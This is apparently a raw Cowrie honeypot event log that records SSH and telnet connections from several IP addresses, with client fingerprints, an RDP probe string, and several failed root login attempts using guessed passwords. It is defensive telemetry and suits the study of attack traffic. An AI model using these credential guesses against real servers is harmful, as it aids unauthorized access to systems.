{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:27.925462Z","src_ip":"47.237.167.49","session":"5d952e48db61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:28.474511Z","src_ip":"47.237.167.49","session":"5d952e48db61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:30.043348Z","src_ip":"47.237.167.49","session":"5d952e48db61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:31.530199Z","src_ip":"47.237.167.49","session":"5d952e48db61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0048246383667,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:35.053556Z","src_ip":"152.42.224.71","session":"7aa0d1b47686","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56706,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a8765691efe","protocol":"telnet","message":"New connection: 152.42.224.71:56706 (10.17.0.5:23) [session: 8a8765691efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:37.498412Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56716,"dst_ip":"10.17.0.5","dst_port":23,"session":"53c11561fe46","protocol":"telnet","message":"New connection: 152.42.224.71:56716 (10.17.0.5:23) [session: 53c11561fe46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:40.731454Z"}
{"eventid":"cowrie.session.closed","duration":49.10486388206482,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:41.730566Z","src_ip":"152.42.224.71","session":"ee5d91b2737c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":56170,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca1346900365","protocol":"ssh","message":"New connection: 94.159.98.239:56170 (159.203.135.109:22) [session: ca1346900365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:41.807967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:41.838265Z","src_ip":"94.159.98.239","session":"ca1346900365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00119733810425,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:41.953581Z","src_ip":"152.42.224.71","session":"f579403cb1a2","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:41.958811Z","src_ip":"94.159.98.239","session":"ca1346900365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miracle","message":"login attempt [root/miracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:42.563222Z","src_ip":"94.159.98.239","session":"ca1346900365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:43.683461Z","src_ip":"94.159.98.239","session":"ca1346900365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39250,"dst_ip":"10.17.0.5","dst_port":22,"session":"057328fca951","protocol":"ssh","message":"New connection: 103.195.236.96:39250 (10.17.0.5:22) [session: 057328fca951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:50.176459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:50.185070Z","src_ip":"103.195.236.96","session":"057328fca951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:50.425485Z","src_ip":"103.195.236.96","session":"057328fca951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345677654321","message":"login attempt [root/12345677654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:51.153165Z","src_ip":"103.195.236.96","session":"057328fca951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.40631651878357,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:52.327987Z","src_ip":"152.42.224.71","session":"d9ed5eafd1a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:52.398197Z","src_ip":"103.195.236.96","session":"057328fca951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.33987784385681,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:53.312991Z","src_ip":"152.42.224.71","session":"4a9ebe6bea13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00189661979675,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:53.372885Z","src_ip":"152.42.224.71","session":"cc33d45b9b06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00250792503357,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:54.387942Z","src_ip":"152.42.224.71","session":"193e11d8f6d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.08162212371826,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:54.437359Z","src_ip":"152.42.224.71","session":"c4436867e98a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.295459508895874,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:55.214616Z","src_ip":"152.42.224.71","session":"3f01fe95b61f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.88898038864136,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:09:55.635138Z","src_ip":"152.42.224.71","session":"6d5475e04fbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41866,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4b05bb52a28","protocol":"telnet","message":"New connection: 152.42.224.71:41866 (10.17.0.5:23) [session: f4b05bb52a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:03.720304Z"}
{"eventid":"cowrie.session.closed","duration":45.53784799575806,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:06.890937Z","src_ip":"152.42.224.71","session":"92eba70e5e74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":49138,"dst_ip":"10.17.0.5","dst_port":22,"session":"573930b07d5b","protocol":"ssh","message":"New connection: 109.172.54.111:49138 (10.17.0.5:22) [session: 573930b07d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:14.808921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:14.814169Z","src_ip":"109.172.54.111","session":"573930b07d5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:14.915133Z","src_ip":"109.172.54.111","session":"573930b07d5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfczyz","message":"login attempt [root/vfczyz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:15.220893Z","src_ip":"109.172.54.111","session":"573930b07d5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:16.323920Z","src_ip":"109.172.54.111","session":"573930b07d5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.34532928466797,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:19.843646Z","src_ip":"152.42.224.71","session":"8a8765691efe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43008,"dst_ip":"10.17.0.5","dst_port":23,"session":"c68803ae8796","protocol":"telnet","message":"New connection: 152.42.224.71:43008 (10.17.0.5:23) [session: c68803ae8796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:23.066653Z"}
{"eventid":"cowrie.session.closed","duration":43.24942994117737,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:23.980744Z","src_ip":"152.42.224.71","session":"53c11561fe46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":58625,"dst_ip":"159.203.135.109","dst_port":22,"session":"00aab950302c","protocol":"ssh","message":"New connection: 167.172.81.52:58625 (159.203.135.109:22) [session: 00aab950302c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:24.125380Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:24.130938Z","src_ip":"167.172.81.52","session":"00aab950302c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:24.135201Z","src_ip":"167.172.81.52","session":"00aab950302c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54566,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb4ac069a3fd","protocol":"telnet","message":"New connection: 152.42.224.71:54566 (10.17.0.5:23) [session: eb4ac069a3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:30.974995Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54570,"dst_ip":"10.17.0.5","dst_port":23,"session":"c26b8e1f2928","protocol":"telnet","message":"New connection: 152.42.224.71:54570 (10.17.0.5:23) [session: c26b8e1f2928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:33.618886Z"}
{"eventid":"cowrie.session.closed","duration":31.276102304458618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:34.996236Z","src_ip":"152.42.224.71","session":"f4b05bb52a28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54574,"dst_ip":"10.17.0.5","dst_port":23,"session":"5167f0f86a8b","protocol":"telnet","message":"New connection: 152.42.224.71:54574 (10.17.0.5:23) [session: 5167f0f86a8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:35.692079Z"}
{"eventid":"cowrie.session.closed","duration":120.00405621528625,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:38.782391Z","src_ip":"152.42.224.71","session":"046f4003f04a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42376,"dst_ip":"10.17.0.5","dst_port":23,"session":"451409e99195","protocol":"telnet","message":"New connection: 152.42.224.71:42376 (10.17.0.5:23) [session: 451409e99195]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:38.866697Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":43120,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf7d05357462","protocol":"ssh","message":"New connection: 170.238.160.191:43120 (159.203.135.109:22) [session: bf7d05357462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:43.561142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:43.569519Z","src_ip":"170.238.160.191","session":"bf7d05357462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:43.683367Z","src_ip":"170.238.160.191","session":"bf7d05357462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz","message":"login attempt [root/1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:44.169790Z","src_ip":"170.238.160.191","session":"bf7d05357462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:45.288303Z","src_ip":"170.238.160.191","session":"bf7d05357462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42784,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c23c6e6d8ae","protocol":"telnet","message":"New connection: 152.42.224.71:42784 (10.17.0.5:23) [session: 8c23c6e6d8ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:47.722759Z"}
{"eventid":"cowrie.session.closed","duration":120.00311732292175,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:50.095569Z","src_ip":"152.42.224.71","session":"ab9989182f66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":54784,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ae79b83e544","protocol":"ssh","message":"New connection: 181.188.172.6:54784 (159.203.135.109:22) [session: 5ae79b83e544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:50.351958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:50.357448Z","src_ip":"181.188.172.6","session":"5ae79b83e544","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:10:50.481335Z","src_ip":"181.188.172.6","session":"5ae79b83e544","protocol":"ssh"}
